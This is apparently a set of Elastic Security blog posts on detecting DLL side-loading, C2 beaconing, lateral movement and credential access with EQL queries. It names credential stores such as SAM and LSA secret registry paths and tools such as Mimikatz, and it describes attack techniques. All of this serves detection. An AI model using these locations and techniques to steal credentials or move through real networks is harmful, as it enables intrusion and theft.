The following query identifies attempts to load an unsigned DLL from a mounted virtual disk (.iso, .vhd) and using a renamed signed binary (original file name is different than the process name).

This depicts some examples of matches where a signed and renamed program is loading a DLL from a mounted disk image:

Potential DLL SideLoad via a Microsoft Signed Binary

This detection identifies attempts to load unsigned DLLs from a mounted virtual disk (.iso, .vhd) and using a signed Microsoft binary:

Below is an example in which Microsoft OneDrive and Windows Control Panel executables are abused to sideload malicious modules for initial access and execution.

DLL from Archive Files

Similarly to virtual disk images, attackers can also use ZIP/RAR archive files with embedded malicious DLL paired with a trusted binary or a shortcut (LNK) file to gain access.

The following screen capture shows how this query identifies a malicious file from a RAR archive which was auto-extracted into a temporary user directory. This scenario is moderately common.

DLL via Malicious Documents

Microsoft Office documents can be also used to deploy and load a malicious DLL to avoid spawning a suspicious child process. The following query correlates an executable (PE) file creation event with a DLL load event.

Below are some examples of malicious Word and Excel documents using this delivery technique.

DLL via MSIEXEC

MsiExec is another great option when you need to execute malicious DLLs because this activity blends in well with legitimate software installers. Two observed delivery methods are:

Calling the DLLRegisterServer export from a random DLL using the command-line arguments /y or /z as documented here
Build an installer that uses custom actions to load and execute a DLL as documented here and here

The following query can be used to identify the execution of the built-in Windows Installer, MSIEXEC, to call the exported function and run code:

Examples where MSI is used to load malicious DLLs:

DLLs delivered via Windows Installer custom actions can be detected by correlating a DLL file creation event where the calling process is MsiExec and where that DLL is subsequently loaded by the same MsiExec process.

It's worth noting that there are some legitimate uses of Windows Installer custom actions and this query may require some filtering in environments where those are used.

The following query matches the Gwisin Ransomware documented by AhnLab and for which a PoC has been created.

DLL delivery via lolbins

Some malware relies on trusted Microsoft binaries to download, decode or extract DLLs. This query correlates PE file creation or modification by common built-in tools, followed by an image load.

Examples of malware identified using this detection approach:

DLL sideload into existing program

The following detection identifies attempts to load a recently-created and unsigned DLL file by an already existing signed process within the same current directory. Comparing the difference between the creation time of the existing program and the DLL creation time we can spot these kinds of anomalies.

The next example matches when the malicious secure32.dll process (created 28 seconds ago) is written to the current OneDrivedirectory and automatically loaded by OneDrive.exe (created 2.5 years ago):

DLL loading from suspicious directories

Dropping a DLL to a user-writable directories and side loading that with a trusted binary is also a common pattern. The following query looks for this behavior and, by leveraging relative creation and modification times, it can reduce the alerts volume while limiting those to a time window following initial execution.

The most commonly-targeted user-writable directories are ?:\Users\Public and ?:\ProgramData. The full query containing more than 70 suspicious folders can be found here.

Below see a example depicting malicious matches where various trusted binaries were abused to load malicious DLLs:

DLL load with an abnormal creation time

Another interesting scenario is identifying a DLL load event where the DLL has a suspicious creation time, and which could be a result of timestomping. This query compares inconsistencies between the creation time and filename modification time using dll.Ext.relative_file_name_modify_time and dll.Ext.relative_file_creation_time immediately followed by an image load:

The following is an example where malware drop DLLs in trusted directories and then use timestomping to ensure those DLLs blend in with existing files in those directories:

DLL from removable device

DLL side-loading from a removable device is still a valid infection vector, especially for air-gapped networks. An example was recently shared by Mandiant involving an espionage-oriented threat. The following EQL query can be used to find similar behavior:

Here is an example with several matches:

Protection Rules

Elastic provides significant capabilities for identifying unusual or malicious library load events with existing behavior protection rules that take advantage of Windows Libraries events:

Conclusion

Compared to detections that rely on process execution events and where adversaries expose more detection opportunities via command-line flags and parent process relationships, designing detections based on DLL events requires more enrichment and correlation to decrease noise rate and increase confidence.

In this publication we shared numerous examples of how we’re using DLL events to identify threats. You can use the different capabilities Elastic endpoint offers to produce higher signal alerts, too. Given the multitude of methods of delivering malicious code as DLLs, though, relying on behavioral detections alone is not enough. Combining this logic with malware file classification, shellcode detection features, and user-entity based analytics (UEBA) improves the fidelity of this metadata for detection purposes.

Identifying beaconing malware using Elastic

Apoorva Joshi,Thomas Veasey,Craig Chamberlain — Wed, 01 Mar 2023 00:00:00 GMT

The early stages of an intrusion usually include initial access, execution, persistence, and command-and-control (C2) beaconing. When structured threats use zero-days, these first two stages are often not detected. It can often be challenging and time-consuming to identify persistence mechanisms left by an advanced adversary as we saw in the 2020 SUNBURST supply chain compromise. Could we then have detected SUNBURST in the initial hours or days by finding its C2 beacon?

The potential for beaconing detection is that it can serve as an early warning system and help discover novel persistence mechanisms in the initial hours or days after execution. This allows defenders to disrupt or evict the threat actor before they can achieve their objectives. So, while we are not quite "left of boom" by detecting C2 beaconing, we can make a big difference in the outcome of the attack by reducing its overall impact.

In this blog, we talk about a beaconing identification framework that we built using Painless and aggregations in the Elastic Stack. The framework can not only help threat hunters and analysts monitor network traffic for beaconing activity, but also provides useful indicators of compromise (IoCs) for them to start an investigation with. If you don’t have an Elastic Cloud cluster but would like to try out our beaconing identification framework, you can start a free 14-day trial of Elastic Cloud.

Beaconing — A primer

An enterprise's defense is only as good as its firewalls, antivirus, endpoint detection and intrusion detection capabilities, and SOC (Security Operations Center) — which consists of analysts, engineers, operators administrators, etc. who work round the clock to keep the organization secure. Malware however, enters enterprises in many different ways and uses a variety of techniques to go undetected. An increasingly common method being used by adversaries nowadays to evade detection is to use C2 beaconing as a part of their attack chain, given that it allows them to blend into networks like a normal user.

In networking, beaconing is a term used to describe a continuous cadence of communication between two systems. In the context of malware, beaconing is when malware periodically calls out to the attacker's C2 server to get further instructions on tasks to perform on the victim machine. The frequency at which the malware checks in and the methods used for the communications are configured by the attacker. Some of the common protocols used for C2 are HTTP/S, DNS, SSH, and SMTP, as well as common cloud services like Google, Twitter, Dropbox, etc. Using common protocols and services for C2 allows adversaries to masquerade as normal network traffic and hence evade firewalls.

While on the surface beaconing can appear similar to normal network traffic, it has some unique traits with respect to timing and packet size, which can be modeled using standard statistical and signal processing techniques.

Below is an example of a Koadic C2 beacon, which serves the malicious payload using the DLL host process. As you can see, the payload beacons consistently at an interval of 10 minutes, and the source, as well as destination packet sizes, are almost identical.

It might seem like a trivial task to catch C2 beaconing if all beacons were as neatly structured and predictable as the above. All one would have to look for is periodicity and consistency in packet sizes. However, malware these days is not as straightforward.

Most sophisticated malware nowadays adds a "jitter" or randomness to the beacon interval, making the signal more difficult to detect. Some malware authors also use longer beacon intervals. The beaconing identification framework we propose accounts for some of these elusive modifications to traditional beaconing behavior.

Our approach

We’ve discussed a bit about the why and what — in this section we dig deeper into how we identify beaconing traffic. Before we begin, it is important to note that beaconing is merely a communication characteristic. It is neither good nor evil by definition. While it is true that malware heavily relies on beaconing nowadays, a lot of legitimate software also exhibits beaconing behaviour.

While we have made efforts to reduce false positives, this framework should be looked at as a means for beaconing identification to help reduce the search space for a threat hunt, not as a means for detection. That said, indicators produced by this framework, when combined with other IoCs, can potentially be used to detect on malicious activity.

The beacons we are interested in comprise traffic from a single running process on a particular host machine to one or more external IPs. Given that the malware can have both short (order of seconds) and long (order of hours or days) check-in intervals, we will restrict our attention to a time window that works reasonably for both and attempt to answer the question: “What is beaconing in my environment right now or recently?” We have also parameterized the inputs to the framework to allow users to configure important settings like time window, etc. More on this in upcoming sections.

When dealing with large data sets, such as network data for an enterprise, you need to think carefully about what you can measure, which allows you to scale effectively. Scaling has several facets, but for our purposes, we have the following requirements:

Work can be parallelised over different shards of data stored on different machines
The amount of data that needs to move around to compute what is needed must be kept manageable.

Multiple approaches have been suggested for detecting beaconing characteristics, but not all of them satisfy these constraints. For example, a popular choice for detecting beacon timing characteristics is to measure the interval between events. This proves to be too inefficient to use on large datasets because the events can't be processed across multiple shards.

Driven by the need to scale, we chose to detect beaconing by bucketing the data in the time window to be analyzed. We gather the event count and average bytes sent and received in each bucket. These statistics can be computed in MapReduce fashion and values from different shards can be combined at the coordinating node of an Elasticsearch query.

Furthermore, by controlling the ratio between the bucket and window lengths, the data we pass per running process has predictable memory consumption, which is important for system stability. The whole process is illustrated diagrammatically below:

A key attribute of beaconing traffic is it often has similar netflow bytes for the majority of its communication. If we average the bytes over all the events that fall in a single bucket, the average for different buckets will in fact be even more similar. This is just the law of large numbers in action. A good way to measure similarity of several positive numbers (in our case these are average bucket netflow bytes) is using a statistic called the coefficient of variation (COV). This captures the average relative difference between the values and their mean. Because this is a relative value, a COV closer to 0 implies that values are tightly clustered around their mean.

We also found that occasional spikes in the netflow bytes in some beacons were inflating the COV statistic. In order to rectify this, we simply discarded low and high percentile values when computing the COV, which is a standard technique for creating a robust statistic. We threshold the value of this statistic to be significantly less than one to detect this characteristic of beacons.

For periodicity, we observed that signals displayed one of two characteristics when we viewed the bucket counts. If the period was less than the time bucket length (i.e. high frequency beacons), then the count showed little variation from bucket to bucket. If the period was longer than the time bucket length (i.e. low frequency beacons), then the signal had high autocorrelation. Let's discuss these in detail.

To test for high frequency beacons, we use a statistic called relative variance (RV). The rate of many naturally occurring phenomena are well described by a Poisson distribution. The reason for this is that if events arrive randomly at a constant average rate and the occurrence of one event doesn’t affect the chance of others occurring, then their count in a fixed time interval must be Poisson distributed.

Just to underline this point, it doesn’t matter the underlying mechanisms for that random delay between events (making a coffee, waiting for your software to build, etc.)— if those properties hold, their rate distribution is always the same. Therefore, we expect that the bucket counts to be Poisson distributed for much of the traffic in our network, but not for beacons, which are much more regular. A feature of the Poisson distribution is that its variance is equal to its average, i.e. its RV is 1. Loosely, this means that if the RV of our bucket counts is closer to 0, the signal is more regular than a Poisson process.

Autocorrelation is a useful statistic for understanding when a time series repeats itself. The basic idea behind autocorrelation is to compare the time series values to themselves after shifting them in time. Specifically, it is the covariance between the two sets of values (which is larger when they are more similar), normalized by dividing it by the square root of the variances of the two sets, which measures how much the values vary among themselves.

This process is illustrated schematically below. We apply this to the time series comprising the bucket counts: if the signal is periodic then the time bucketed counts must also repeat themselves. The nice thing about autocorrelation from our perspective is that it is capable of detecting any periodic pattern. For example, the events don’t need to be regularly spaced but might repeat like two events occurring close to one another in time, followed by a long gap and so on.

We don’t know the shift beforehand that will maximize the similarity between the two sets of values, so we search over all shifts for the maximum. This, in effect, is the period of the data — the closer its autocorrelation is to one, the closer the time series is to being truly periodic. We threshold the autocorrelation close to one to test for low frequency beacons.

Finally, we noted that most beaconing malware these days incorporates jitter. How does autocorrelation deal with this? Well first off, autocorrelation isn’t a binary measure — it is a sliding scale: the closer the value is to 1 the more similar the two sets of values are to one another. Even if they are not identical but similar it can still be close to one. In fact, we can do better than this by modelling how random jitter affects autocorrelation and undoing its effect. Provided the jitter isn’t too large, the process to do this turns out to be about as complex as just finding the maximum autocorrelation.

In our implementation, we’ve made the percentage configurable, although one would always use a small-ish percentage to avoid flagging too much traffic as periodic. If you'd like to dig into the gory details of our implementation, all the artifacts are available as a GitHub release in our detection rules repository.

How do we do this using Elasticsearch?

Elasticsearch has some very powerful tools for ad hoc data analysis. The scripted metric aggregation is one of them. The nice thing about this aggregation is that it allows you to write custom Painless scripts to derive different metrics about your data. We used the aggregation to script out the beaconing tests.

In a typical environment, the cardinality of the distinct processes running across endpoints is rather high. Trying to run an aggregation that partitions by every running process is therefore not feasible. This is where another feature of the Elastic Stack comes in handy. A transform is a complex aggregation which paginates through all your data and writes results to a destination index.

There are various basic operations available in transforms, one of them being partitioning data at scale. In our case, we partitioned our network event logs by host and process name and ran our scripted metric aggregation against each host-process name pair. The transform also writes out various beaconing related indicators and statistics. A sample document from the resulting destination index is as follows:

As you can see, the document contains valuable beaconing-related information about the process. First off, the beacon_stats.is_beaconing indicator says whether or not we found the process to be beaconing. If it is, as in the case above, the document will also contain important metadata, such as the frequency of the beacon. The indicator beacon_stats.periodic says whether or not the signal is a low-frequency beacon, while the indicator beacon_stats.low_count_variation indicates whether or not it is a high-frequency beacon.

Furthermore, the indicators beacon_stats.low_source_bytes_variation and low_destination_bytes_variation indicate whether or not the source and destination bytes sent during the beaconing communication were more or less uniform. Finally, you will also notice the beaconing_score indicator, which is a value from 1-3, representing the number of beaconing tests satisfied by the process for that time period.

Writing such metadata out to an index also means that you can search for different facets of beaconing software in your environment. For example, if you want to search for low frequency beaconing processes in your environment, you would query for documents where the beacon_stats.periodic indicator is true and beacon_stats.low_count_variation is false. You can also build second order analytics on top of the indexed data, such as using anomaly detection to find rare beaconing processes, or using a significant terms aggregation to detect lateral movement of beaconing malware in your environment.

Finally, we’ve included several dashboards for your threat hunters and analysts to use for monitoring beaconing activity in your environment. These can be found in the release package as well.

Tuning parameters and filtering

Advanced users can also tune important parameters to the scripted metric aggregation in the transforms, like jitter percentage, time window, etc. If you'd like to change the default parameters, all you would need to do is delete the transform, change the parameters, and restart it. The parameters you can tune are as follows:

number_buckets_in_range: The number of time buckets we split the time window into. You need enough to ensure you get reasonable estimates for the various statistics, but too many means the transform will use more memory and compute.
time_bucket_length: The length of each time bucket. This controls the time window, so the larger this value the longer the time window. You might set this longer if you want to check for very low frequency beacons.
number_destination_ips: The number of destination IPs to gather in the results. Setting this higher increases the transform resource usage.
max_beaconing_bytes_cov: The maximum coefficient of variation in the payload bytes for the low source and destination bytes variance test. Setting this higher will increase the chance of detecting traffic as beaconing, so would likely increase recall for malicious C2 beacons. However, it will also reduce the precision of the test.
max_beaconing_count_rv: The maximum relative variance in the bucket counts for the high frequency beacon test. As with max_beaconing_bytes_cov, we suggest tuning this parameter based on the kind of tradeoff you want between precision and recall.
truncate_at: The lower and upper fraction of bucket values discarded when computing max_beaconing_bytes_cov and max_beaconing_count_rv. This allows you to ignore occasional changes in traffic patterns. However, if you retain too small a fraction of the data, these tests will be unreliable.
min_beaconing_count_autocovariance: The minimum autocorrelation of the signal for the low frequency beacon test. Lowering this value will likely result in an increase in recall for malicious C2 beacons, at the cost of reduced test precision. As with some of the other parameters mentioned above, we suggest tuning this parameter based on the kind of tradeoff you want between precision and recall.
max_jitter: The maximum amount by which we assume that a periodic beacon is jittered, as a fraction of its period.

You can also make changes to the transform query. We currently look for beaconing activity over a 6h time range, but you can change this to a different time range. As mentioned previously, beaconing is not a characteristic specific to malware and a lot of legitimate, benign processes also exhibit beaconing-like activity.

In order to curb the false positive rate, we have included a starter list of filters in the transform query to exclude known benign beaconing processes that we observed during testing, and a list of IPs that fall into two categories:

The source IP is local and the destination is remote
For certain Microsoft processes, the destination IP is in a Microsoft block

You can add to this list based on what you see in your environment.

Evaluation

In order to measure the effectiveness of our framework as a reduced search space for beaconing activity, we wanted to test two aspects:

Does the framework flag actual malicious beaconing activity?
By how much does the framework reduce the search space for malicious beacons?

In order to test the performance on malware beacons, we ran the transform on some synthetic data as well as some real malware! We set up test ranges for Emotet and Koadic, and also tested it on NOBELIUM logs we had from several months ago. The results from the real malware tests are worth mentioning here.

For NOBELIUM, the beaconing transform catches the offending process, rundll32.exe, as well as the two destination IPs, 192.99.221.77 and 83.171.237.173, which were among the main IoCs for NOBELIUM.

For Koadic and Emotet as well, the transform was able to flag the process as well as the known destination IPs on which the test C2 listeners were running. The characteristics of each of the beacons were different. For example, Koadic was a straightforward, high-frequency beacon that satisfied all the beaconing criteria being checked in the transform i.e. periodicity, as well as low variation of source and destination bytes. Emotet was slightly trickier since it was a low frequency beacon with a high jitter percentage. But we were able to detect it due to the low variation in the source bytes of the beacon.

To test the amount of reduction in search space, we ran the transform over three weeks on an internal cluster that was receiving network event logs from ~ 2k hosts during the testing period. We measured the reduction in search space based on the number of network event log messages, processes, and hosts an analyst or threat hunter would have to sift through before and after running the transform, in order to identify malicious beacons. The numbers are as follows:

While the reduction in search space is obvious, another point to note is the scale of data that the transforms are able to churn through comfortably, which becomes an important aspect to consider, especially in production environments. Additionally, we have also released dashboards (available in the release package), which track metrics like prevalence of the beaconing processes, etc. that can help make informed decisions about further filtering of the search space.

While the released dashboards, and the statistics in the above table are based on cases where the beacon_stats.is_beaconing indicator is true i.e. beacons that satisfy either of the beaconing tests, threat hunters may want to further streamline their search by starting with the most obvious beaconing-like cases and then moving on to the less obvious ones. This can be done by filtering and searching by the beacon_stats.beaconing_score indicator instead of beacon_stats.is_beaconing, where a score of 3 indicates a typical beacon (satisfying tests for periodicity as well as low variation in packet bytes), and score of 1 indicates a less obvious beacon (satisfying only one of the three tests).

For reference, we observed the following on our internal cluster:

What's next

We’d love for you to try out our beaconing identification framework and give us feedback as we work on improving it. If you run into any issues during the process, please reach out to us on our community Slack channel, discussion forums, or even our open detections repository. Stay tuned for Part 2 of this blog, where we’ll cover going from identifying beaconing activity to actually detecting on malicious beacons!

Try out our beaconing identification framework with a free 14-day trial of Elastic Cloud.

Hunting for Lateral Movement using Event Query Language

Samir Bousseaden — Wed, 01 Mar 2023 00:00:00 GMT

Lateral Movement describes techniques that adversaries use to pivot through multiple systems and accounts to improve access to an environment and subsequently get closer to their objective. Adversaries might install their own remote access tools to accomplish Lateral Movement, or use stolen credentials with native network and operating system tools that may be stealthier in blending in with normal systems administration activity.

Detecting Lateral Movement behaviors often involves the design of detections at both the source and the target system, as well as the correlation of more than one type of event (such as network events with process execution events) in order to capture the remote execution context.

In this blog, we explore some examples of techniques and leverage the capabilities of Elastic’s Event Query Language (EQL) to design behavioral hunts and detections.

How Lateral Movement works

Lateral Movement is usually composed of the following high-level steps:

Remote authentication to the target host (valid access credentials are required)
Staging the command to execute to the remote host or to another resource accessible by the target host such as internet URL or a Network File Share
Remotely triggering the execution (immediate or scheduled) of the staged program on the target host via accessible remote services and protocols (Service, Task Scheduler, WinRM, WMI, Remote Registry).
Clean up the staged payload and any other relevant artifacts to avoid suspicion (optional)

Note that staging a program (step 2) is not always necessary, as there are usually exposed services that allow for remote interaction with the target host such as PowerShell Remoting and Remote Desktop (RDP).

Lateral Tool Transfer

Files may be copied from one system to another to stage adversary tools or other files over the course of an operation. A commonly abused vector is SMB/Windows Admin Shares via the use of built-in system commands such as copy, move copy-item, and others:

Figure 1: File copy via system command

From the source machine, there are alternative methods of copying the file without having to execute suspicious commands. Still, it’s important to look for low-hanging detection opportunities.

Figure 2 below shows an EQL query that looks for the following behavior that is consistent with an attacker transferring a file to a remote host:

Execution of a command interpreter with a process.args keyword array related to file copy (copy, move) and a hidden file share (prefixed by a $ sign such as c$ admin$)
Staging data from a shadow copy volume (often associated with credential access via staging of NTDS.dit or Registry SAM key to access stored account password hashes)

Figure 2: Hunting EQL for file transfer via hidden file share from source machine

On the target machine, we’ve observed that all files copied via server message block (SMB) are represented by a file creation event by the virtual process System (always has a static process.pid value equal to 4 and represents the Windows kernel code and loaded kernel mode drivers):

Figure 3: File creation event details depicted in Kibana’s Discover view as a result of file transfer over SMB

A file creation event alone is not enough (the System process may create files that are related to local activity) to conclude that this activity pertains to a Lateral Movement attempt. Thus, we need to correlate it with incoming SMB network events by the same process:

Figure 4: Hunting EQL for file transfer via hidden file share from target host

The above query looks for an incoming remote network event to tcp port 445 (SMB) followed by immediate file creation or modification (can be limited to executable file extension to reduce false positives) and both events are performed by the same (process.entity_id) virtual System process.

Figure 5: Detection alert example for Lateral Tool Transfer from target host

The above alert contains details about the file that was copied as well as the source.ip address of the Lateral Movement activity. The same logic triggers on PSExec, a remote execution utility often abused by adversaries for the same purpose:

Figure 6: Lateral Tool Transfer triggering on PSEXEC from target host

We can also leverage EQL correlation to capture instances where a file that was copied via SMB is immediately executed:

Figure 7: Hunting EQL for remote execution via file shares

The above EQL looks for a sequence of events where a file is created/modified by the virtual System process followed by a process event where the process.executable is equal to the file.path. Below is an alert example:

Figure 8: Detection alert for remote execution via file shares from target host

Another example where file transfer over SMB can be abused for remote execution is copying a malicious executable, script, or shortcut to the Startup folder of a target host. This will cause the program referenced to be automatically executed when a user logs in, and in the context of that user:

Figure 9: Hunting EQL for Lateral Movement via startup folder

Below is an example of a detection alert for Lateral Movement via the Startup folder:

Figure 10: Detection alert for Lateral Movement via startup folder

Remotely Scheduled Tasks

Adversaries may leverage scheduled tasks for remote execution — either via built-in system utilities such as schtasks.exe or directly via the Task Scheduler API, which may be stealthier because visibility is limited.

Below is an example of remote task creation via the MoveScheduler penetration testing tool:

Figure 11: Lateral Movement via MoveScheduler

Both schtasks.exe and direct usage of a custom implementation will cause a process to load the Task Scheduler COM API (taskschd.dll), followed by an outbound network connection where both the source.port and the destination.port are equal or greater than RPC dynamic ports (49152 to 65535) and from the same process.entity_id, which can be translated to this EQL query:

Figure 12: Hunting EQL query for outbound task scheduler activity on source host

Of course, matches to this query can be related to scheduled tasks discovery as well. Below is an example of an alert where we can observe the username, source, and destination IP, as well as the process name used to perform a remote task activity:

Figure 13: Detection alert for Lateral Movement via Scheduled Task on source host

On the target host, we can hunt for remote scheduled task creation/modification via two options:

Incoming DCE/RPC (over TCP/IP) network event by the Task Scheduler service (svchost.exe) followed by a file creation of a task XML configuration file (C:\Windows\System32\Tasks\task_filename)
Incoming DCE/RPC (over TCP/IP) network event by the Task Scheduler service (svchost.exe) followed by a registry change of a task cache Action value (HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{GUID}\Actions)

Option A provides us with the task name (equal to the file.name of the changed/created file), and Option B provides us with the task action itself (equal to the base64 decoded data of the Action registry value where the task scheduler service caches the task action configuration):

Figure 14: Hunting EQL query for task creation on target host (Option A)

Figure 15: Hunting EQL query for task creation on target host (Option B)

Option B has the advantage of providing details about the task action, which tend to be useful while triaging (set to execute a program from a suspicious path, LOLBAS process, etc.).

Figure 16: Detection alert for Lateral Movement via Scheduled Task on target host

Decoding the registry Action base64 encoded data provides us details about the created task action:

Figure 17: Base64 decoded data of the scheduled task action registry value

Remote Registry

Adversaries may leverage the Remote Registry service for defense evasion or remote execution. One simple scenario is to modify the Run key registry on a remote system to cause the execution of a program upon system startup or user logon:

Figure 18: Remote modification of the Run registry key via reg utility

We can hunt for this behavior from the source machine by looking for the execution of reg.exe with process.args containing \*, but the same action can be achieved via API calls avoiding process .command_line-based detections.

Figure 19: Example of Reg.exe process execution event on source host

Note that Reg.exe is not performing any network connection — instead, it’s the virtual System process that issues an outbound network connection to the target host on port 445 (DCE/RPC over SMB).

On the target host we can see the following sequence of key events:

Incoming network connection on tcp port 445 (DCE/RPC over SMB) by the virtual System process (process.pid equal 4)
RemoteRegistry service process starts (svchost.exe with process.args containing the string RemoteRegistry)
RemoteRegistry service process performs the registry change

Figure 20: Remote Registry-relevant events on target host

The following EQL hunt can be used to correlate (2) and (3) by host.id and process.entity_id of the Remote Registry service:

Figure 21: Hunting EQL to detect Remote Registry modification via Regsvc on target host

If we include (1) in the above sequence to capture the source.ip address, it may trigger on unrelated incoming SMB connections as the only common element between the three events limited to the host.id value.

Figure 22: Detection alert for Remote Registry modification via Regsvc on target host

Adversaries may attempt to achieve the same outcome via the Windows Management Instrumentation (WMI) registry provider (StdReg), which behaves differently:

WMI Service (svchost.exe with process.args containing Winmgmt string) accepts an incoming DCE/RPC (over TCP/IP) network connection where both source.port and the destination.port are greater than or equal to RPC dynamic ports ( 49152 to 65535)
A new instance of the WMI Provider Host (process.name equal to WmiPrvSe.exe with user.name equal to Local Service or user.id equal to S-1-5-19) is started
The started WMI Provider Host loads the registry provider StdProv.dll module
The WMI Provider Host performs the registry change

We can express the correlation of (1), (2) and (4) with the following hunting EQL:

Figure 23: Hunting EQL for Remote Registry modification via Regsvc on target host

If logging of the StdProv.dll module loading is enabled, we can also add (3) to the sequence to reduce potential false positives:

Figure 24: Hunting EQL for Remote Registry modification via Regsvc on target host (library event)

Below an example of a detection alert where we can see the remotely modified registry details and the remote source.ip:

Figure 25: Detection alert for Remote Registry modification via the WMI on target host

Sharp Remote Desktop

SharpRDP is a Lateral Movement tool that leverages the Remote Desktop Protocol (RDP) for authenticated command execution and without the need for graphical interaction.

Once authenticated, SharpRDP sends virtual keystrokes to the remote system via a method called SendKeys to open up a Run dialog on the target host and then enter a specified command, which will be executed on the target host.

The main indicator from the source host is an unusual process (hosting SharpRDP code) loading the Remote Desktop Services ActiveX Client that implements RDP client functionality (MsTscAx.dll) followed by an outbound network connection to RDP tcp port 3389 and both events from the same process.entity_id:

Figure 26: Hunting EQL for suspicious RDP Client

Below an example of results matching our hunting EQL where we can see an unusual process (other than mstsc.exe and similar known RDP clients) loading the Remote Desktop Services ActiveX Client (MsTscAx.dll) as well as the outbound network connection:

Figure 27: Results example for suspicious RDP Client EQL hunt

On the target host, the following key events occur within a one-minute time window:

An incoming network connection is accepted by the RDP service (TermService svchost.exe) on port 3389
Under the RunMRU registry key, a new (or update to an existing) string value is set to cmd, powershell, taskmgr or tsclient (depending on the chosen SharpRDP execution method), which is caused by the typed command in the Run dialog via the SendKeys method
Depending on the execution method, a new process (attacker command) is created with process.parent.name of cmd.exe, powershell.exe, taskmgr.exe, or a random executable running from the tsclient mountpoint (shared drive from the RDP client host with the RDP target server)

For (2), note that when running anything from the Run dialog, a registry entry will be created at HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU showing what was entered into the Run dialog box.

The above sequence of events can be expressed with the following EQL:

Figure 28: Hunting EQL for SharpRDP behavior on the target host

Example of a detection alert and its composing event details on the target host:

Figure 29: Detection alert for SharpRDP on target host (TermService network connection)

Figure 30: Detection alert for SharpRDP on target host (RunMRU set to Powershell)

Figure 31: Detection alert for SharpRDP on target host (PowerShell child process)

Wrapping up

Event Query Language (EQL) correlation capabilities enable us to capture complex behavior for a variety of Lateral Movement techniques. The high-level steps are:

Understand the theory and the building blocks of a certain technique (network protocols, loaded modules, services, process names, and arguments)
Identify the key events and their order that compose a certain behavior (both source and target host)
Identify the common values that can be used for correlation (sequences) — identifying more commonalities can reduce false positives
Identify enrichment possibilities , such as extra events in the sequence that can be useful during alert triage
Assess the window of time for correlation — using a shorter time window (for example, 30 seconds instead of 1 second) can reduce false positives, but can also introduce false negatives caused by network latency or slow system
Test using different methods and tools and tune the hunting logic accordingly, or, in some instances, duplicate logic to capture edge cases

Some of the EQL detection rules used as examples can be found in the Elastic detection-rulesrepository:

If you’re new to Elastic Security, you can experience our latest version on Elasticsearch Service on Elastic Cloud.

Detect Credential Access with Elastic Security

Samir Bousseaden — Wed, 01 Mar 2023 00:00:00 GMT

Preamble

Credential Access consists of techniques for stealing credentials like cookies, API keys, and passwords. It is one of the top critical tactics that is almost guaranteed to occur during an attack lifecycle, ranging from phishing to infostealer malware to more complicated post-exploitation techniques. Therefore, covering it from different angles increases opportunities for early detection and prevention. Elastic Endpoint Security 7.15 added new fileand registry events to provide defenders with better visibility on techniques and procedures involving some form of sensitive files and/or registry objects access:

Hunting for Credential Access

With the Endpoint security integration enabled, you can explore those new events using generic KQL or EQL queries:

KQL and EQL queries to view file and registry events.

// EQL via Security -> Timelines -> New -> Correlation
any where event.category in ("file", "registry")
  and event.action in ("query", "open")

// KQL via Discover
event.category : ("file" or "registry")
  and event.action : ("open" or "query")

Below, you can see an example of file events logged as a result of running two known security assessment tools: Lazagne and Seatbelt. These tools include checks for a multitude of credentials and interesting files used in common software:

Here are some example registry events logged as a result of running Mimikatz (lsadump::sam, cache, lsa, and secrets submodules) and Seatbelt (PuttyHostKeys SSH enumeration):

Leveraging EQL’s correlation capabilities to link those new events with other event categories (such as process, registry, network, and/or

authentication) is a great enabler for detection and hunting.

The process.entity_id field is a globally unique identifier used to mitigate PID reuse as well as to identify a specific process over time.

This EQL query uses the process.entity_id field to detect a process accessing multiple sensitive files in a short period of time, which is usually a higher-confidence signal than looking for single file access:

Process accessing multiple sensitive files in a short period of time

sequence by process.entity_id with maxspan=1m
 [process where event.action == "start"]

 // at least 3 unique file.paths, runs=* is supported in EQL 7.16+
 [file where event.action == "open"] with runs=3

Here is an example of a match for 3 different and unrelated types of credentials (email, DPAPI system MasterKey and Sysprep unattended):

Now let’s hunt for remote access to sensitive files over SMB, such as the following:

We can detect this behavior with EQL that correlates a remote logon event (4624) with sensitive file access by the same

user.id:

Correlating remote logon with sensitive file access

sequence by host.id with maxspan=5m

  [authentication where event.action == "logged-in" and
    /* event 4624 need to be logged */
    winlog.logon.type : "Network" and
    event.outcome == "success" and source.ip != null and
    source.ip != "127.0.0.1" and
    source.ip != "::1"] by winlog.event_data.TargetUserSid

   /* requires Elastic Endpoint Security Integration 7.15+ */
  [file where event.action == "open" and process.pid == 4] by user.id

The above query results correlate relevant fields like the source.ip, user.id, and file.path:

Behavior Protection

In addition to being able to use those events in detection rules, Elastic Endpoint Security includes built-in malicious behavior protection rules that can automatically react to high-confidence, highly-suspicious sensitive file/registry accesses.

For example, here we can see Elastic Endpoint’s behavior protection rules catching:

LSASecretsdumper - LSA secrets stealing with LsaOpenSecret and LsaQuerySecret APIs.
Mimikatz (lsadump:sam and secrets modules) - modules to dump creds from the SAM and LSA registry keys.
Lazagne (DPAPI MasterKeys access) - stealing MasterKey to decrypt DPAPI protected resources.

Here are detections of Chrome Login Data file access by different infostealers (Poulight Stealer, AgentTesla) including lolbins (powershell script):

Below are some example detections for Windows Credential Manager Store access by common stealers AgentTesla and FormBook:

Monitored File and Registry Paths

The current list of monitored file and registry paths is listed below. Due to data volume and performance concerns, the Elastic Endpoint generates only one event per process.entity_id for a given file or registry pattern in the list. From a detection point of view this won’t create any visibility gap since we emit an event on the first file or registry access performed by any process.

Monitored registry paths

registry_paths:
  # SAM - Encrypted Local Account Pwd hashes
  - '\REGISTRY\MACHINE\SAM'
  - '\REGISTRY\MACHINE\SAM\SAM\Domains\*'

  # SYSTEM - Bootkey/Syskey GBG, JD, Skew1
  - '\REGISTRY\MACHINE\SYSTEM\ControlSet00?\Control\Lsa\JD'
  - '\REGISTRY\MACHINE\SYSTEM\ControlSet00?\Control\Lsa\Skew1'
  - '\REGISTRY\MACHINE\SYSTEM\ControlSet00?\Control\Lsa\GBG'
  # SECURITY - LSA key, encrypted domain cached pwd and machine account pwd
  - '\REGISTRY\MACHINE\SECURITY\CACHE*'
  - '\REGISTRY\MACHINE\SECURITY\POLICY\SECRETS\*'

  # Registry - Putty SSH Keys
  - '\Registry\Machine\Software\SimonTatham\PuTTY\SshHostKeys\*'
  - '\Registry\User\*\Software\SimonTatham\PuTTY\SshHostKeys\*'

  # Sysadmin - WinSCP
